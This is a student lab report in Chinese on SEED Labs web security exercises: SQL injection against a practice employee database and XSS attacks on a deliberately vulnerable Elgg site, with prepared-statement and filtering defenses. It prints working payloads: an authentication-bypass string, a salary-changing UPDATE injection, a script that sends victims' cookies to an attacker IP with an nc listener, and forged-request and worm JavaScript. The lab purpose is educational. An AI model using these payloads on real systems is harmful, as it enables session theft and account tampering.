1. 程式人生 > 其它 >20212924 2021-2022-2 《網路攻防實踐》實踐第12周(10次)報告

20212924 2021-2022-2 《網路攻防實踐》實踐第12周(10次)報告

1.實踐內容

實驗目的

  • 掌握web應用程式體系結構
  • 瞭解web應用安全攻防技術
  • 掌握SQL注入攻擊並實踐
  • 掌握XSS跨站指令碼攻擊並實踐

環境介紹

  • Seedubuntu是seedlab提供的一個實驗環境,在其上配置了很多漏洞網站和工具。
  • 本次實驗需要用到SQL注入漏洞和XSS跨站指令碼漏洞
  • 對應的網站為http://wwwSEEDLabSQLInjection.com和http://www.xsslabelgg.com
  • 關於實驗所用到的其他東西在seedubuntu中均有提供
  • 開始實驗之前先用指令sudoserviceapache2start啟動Apache服務
  • 在Firefox的擴充套件中安裝HTTPHeaderLive外掛檢查HTTP頭

實驗原理

  • Web應用程式體系結構
    • Web應用程式是一種使用瀏覽器在網際網路或企業內部網上進行訪問操作的應用軟體形態。也造就了B/S計算結構,提升了部署和應用的便捷性。
    • 瀏覽器主要完成資料顯示與展示渲染
    • 伺服器主要完成業務計算處理
    • 瀏覽器與伺服器之間的通訊通過因特網或由聯網上HTTP/HTTPS應用層協議的請求與應答進行通訊。
    • 瀏覽器:使用HTTP/HTTPS協議、HTML語言與Web伺服器進行互動,獲取資訊。
    • Web伺服器:不僅僅是一個HTTP守護程式,還有對各種Web動態程式語言的支援。
    • 資料庫:Web應用儲存資料的地方。
    • Web應用程式:負責伺服器端的業務邏輯處理,最為常見的三層體系結構:
      • 表示層:接受Web客戶端的輸入並顯示結果。
      • 業務邏輯層;從表示層接受輸入並完成某些工作,需要資料層的協作,再將結果送回表示層。
      • 資料層:以資料庫或本地檔案的形式,提供非易失的資訊儲存。
    • 傳輸協議HTTP/HTTPS:瀏覽器與Web站點之間的通訊傳輸協議使用HTTP/HTTPS協議, HTTP協議預設使用TCP80埠,該協議採用統一資源識別符號URI對各種資源進行統一定義,採用請求/響應模式。SSLITLS隧道技術,來實現加密傳輸的HTTPS協議。
  • Web應用安全威脅
    • 針對瀏覽器和終端使用者的Web瀏覽安全威脅:網頁木馬、網站釣魚等。
    • 針對傳輸層的網路協議安全威脅;針對HTTP明文傳輸協議的敏感資訊監聽、拒絕服務攻擊等。系統層安全威脅:Web站點的宿主作業系統。
    • Web伺服器軟體安全威脅:Web伺服器軟體也存在著漏洞與弱點。
    • Web資料安全威脅:Web站點中在Web應用程式後臺儲存的關鍵資料內容。
  • 程式碼注入攻擊
    • 程式碼注入攻擊
      • Web應用程式的輸入驗證不完善漏洞
      • 執行由攻擊者所注入的惡意指令和程式碼
      • 敏感資訊洩露、許可權提升或對系統的未授權訪問
    • 多樣化的程式碼注入攻擊型別
      • SOL注入攻擊惡意讀取、修改與操縱資料庫:
      • PHP注入或ASP注入攻擊:植入和執行Webshell
      • Shell注入攻擊:惡意執行作業系統命令的:
      • 其他多樣化注入攻擊:LDAP注入、郵件命令注入、SSI注入、XPath注入、XML注入、XOuery注入等
  • SQL注入攻擊原理
    • SQL注入漏洞機制
      • 使用者輸入沒有被正確地過濾轉義字元(引號、反引號、雙下劃線、分號、百分號)
      • 沒有進行嚴格型別檢查:未判斷輸入是否預定型別
    • 表示層表單或URL輸入引數使用者輸入
    • 業務邏輯層:通過使用者輸入引數構造SOL語句不完善的輸入驗證機制
    • 資料層:通過資料連線執行SOL語句觸發惡意資料庫操作
  • XSS攻擊技術原理
    • 定義:XSS跨站指令碼攻擊的最終目標不是提供服務的Web應用程式而是使用Web應用程式的使用者。 XSS的漏洞存在於Web應用程式中,使得攻擊者可以在Web頁面中插入惡意程式碼(HTML或JavaScript)使用者在瀏覽網頁時,瀏覽器會解析這些插入的程式碼,造成獲取使用者敏感資訊、客戶端滲透攻擊等後果。
    • XSS攻擊技術原理:Web應用程式對使用者輸入內容的安全驗證與過濾不夠完善,使用者提交的內容可以包括 HTML、JAVAScript及其他指令碼程式碼。例如在name變數填寫為alert(/xss),這段客戶端程式碼將會被包含在留言瀏覽頁面中,其他使用者訪問時將會執行程式碼。

2.實踐過程

實踐一、SEED SQL注入攻擊與防禦實驗

我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:

  • 熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
  • 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
  • 對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
  • SQL對抗:修復上述SQL注入攻擊漏洞。

具體過程

  • 熟悉SQL語句

    • mysql -u root -p ——登入 MySQL 資料庫
    • show databases;——檢視資料庫
    • use users;——使用系統建立好的 Users 資料庫
    • show tables;——查看錶
    • select * from credential;——從credential查看錶中內容
    • select * from credential where Name='Alice';——在credential表中根據條件檢視內容
  • 對 SELECT 語句的 SQL 注入攻擊

    • 訪問Web應用程式網站(www.SEEDLabSQLInjection.com)
    • 使用快捷鍵view Page Source檢視該頁面原始碼

    • 由原始碼可知,表單將使用者輸入的資訊使用get方法提交至unsafe_home.php頁面進行許可權校驗
    • 通過vim /var/www/SQLInjection/unsafe_home.php,where部分存在可以進行注入攻擊的漏洞
    • 輸入使用者名稱為Admin' #,密碼為空,繞過密碼檢驗,直接進行登入。(註釋掉了密碼)
    • User Details
  • 對UPDATE語句的SQL注入攻擊

    • Alice'#登入,檢視她的資訊。
    • 點選Edit Profile,進入更新資訊頁面
    • 右鍵view page Source檢視原始碼
      • 表示通過get方法得到資訊,提交至unsafe_edit_backend.php頁面?
    • SEEDUbuntu中vim /var/www/SQLInjection/unsafe_edit_backend.php檢視程式碼
      • 表示存在漏洞,此處可以注入。
    • 前面得到Alice的id是10000,在alice的編輯頁面NickName輸入', salary='2924' where EID='10000';#
      • 此時sql語句就把後面的登出掉了,變為了$sql = "UPDATE credential SET nickname='', salary='2924' where EID='10000';
    • 修改成功,薪水變成了2924
    • 密碼是經過hash的,選擇密碼123456,生成一個hash值。etho -n '123456'|shalsum
    • 輸入hash後的密碼,修改Password欄位。
  • SQL對抗

    • 加入預處理語句防禦sql注入攻擊
    • SELECT語句
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and 
Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
    • UPDATE語句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

實踐二、SEED XSS跨站指令碼攻擊實驗(Elgg)

為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。

  • 釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
  • 彈窗顯示cookie資訊:將cookie資訊顯示。
  • 竊取受害者的cookies:將cookie傳送給攻擊者。
  • 成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
  • 修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
  • 編寫XSS蠕蟲。
  • 對抗XSS攻擊。

具體過程

  • 通過彈窗顯示惡意資訊

    • www.xsslabelgg.com中存在的使用者資訊【Alice:seedalice】【Boby:seedboby】
    • 訪問www.xsslabelgg.com,以Alice登入,點選Alice中的edit profile

    • Brief description文字框輸入:<script>alert('20212924yh');</script>
    • save,彈出警示框
    • Alice退出後,以Body登入並訪問Alice的profile,more—>members—>Alice,彈出以上警告框
    • 通過嵌入 JS 程式碼,實現了彈出警報視窗的功能。
  • 通過彈窗顯示Cookie資訊

    • Brief description中輸入:<script>alert(document.cookie);</script>,就可以顯示當前的 cookie 資訊。
  • 竊取受害主機的 Cookie

    • JavaScript插入img標籤時,同時在<img>標籤的src屬性中嵌入攻擊程式碼。瀏覽器嘗試從src欄位中的URL載入圖片,這導致HTTP GET請求傳送到攻擊者的機器。
      • 攻擊者在命令列下執行nc -lvvp 5555,監聽5555埠。當用戶訪問Alice profile時,打印出當前使用者的cookies。
      • Brief description插入js程式碼為:<script>document.write('<img src=http://192.168.200.5:5555?c=' + escape(document.cookie) + ' >');</script>
      • 使用JavaScriptcookies傳送到攻擊者機器的5555埠,若攻擊者的TCP server偵聽同一個埠,伺服器則可打印出任何收到的內容。

  • 成為受害者的朋友

    • 登入Boby 的主頁:http://www.xsslabelgg.com/profile/boby
    • 點選Add friend,請求發往http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652732463&__elgg_token=DA14ZydedxoMfoG1CbgYo,引數friend代表好友的id,引數__elgg_ts代表時間戳,引數__elgg_token代表token
    • 構造JS程式碼,用於add friends
<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	  //傳送 Ajax 請求
	  Ajax = new XMLHttpRequest();
	  Ajax.open("GET", sendurl, true);
	  Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	  Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	  Ajax.send();
}
</script>
    • 將上面的JS放在Alice的About me內,選擇Edit HTML儲存
    • 重新整理Boby賬號,發現Boby已自動新增Alice為好友
  • 修改受害者的資訊
    • 檢視Alice介面的原始碼,編輯About me內容,發現訪問了http://www.xsslabelgg.com/action/profile/edit
    • 構造JS程式碼:
<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>Hacked!!!!!~~~</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>
    • 登入 Boby,Boby的個人資料初始為
    • 訪問Alice的主頁,重新整理頁面,已經被修改
  • 編寫XSS蠕蟲

    • 將下面的JS程式碼放在Alice的about me中
<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>
    • 以boby的身份登入後訪問Alice的profile,boby就會被攻擊並感染xss蠕蟲
  • 對抗 XSS 攻擊

    • 在使用者輸入文字時,禁用 JavaScript 渲染的功能。

    • 也可以使用 Elgg 提供的安全外掛 HTMLawed 過濾使用者輸入的標籤。

3.學習中遇到的問題及解決

  • 問題1:
  • 問題1解決方案:
  • 問題2:Ubuntu和Windows之間是無法實現跨系統複製貼上的
  • 問題2解決方案:連結

4.實踐總結

  • 通過本次實驗,熟悉鞏固了SQL語句,注入攻擊時,在引數name或password中插入了特殊字元#,以篡改程式SQL的條件判斷,從而騙過程式,達到注入攻擊的目的。
  • 挖掘漏洞時,本次實驗需要在web中收集資訊。
    • 可以通過檢視原始碼,審查應用程式結構發現漏洞。
  • 攻擊者利用Xss漏洞構建惡意指令碼,對大量使用者構成危害,可以通過留言本、論壇、部落格等方式達到目的。

參考資料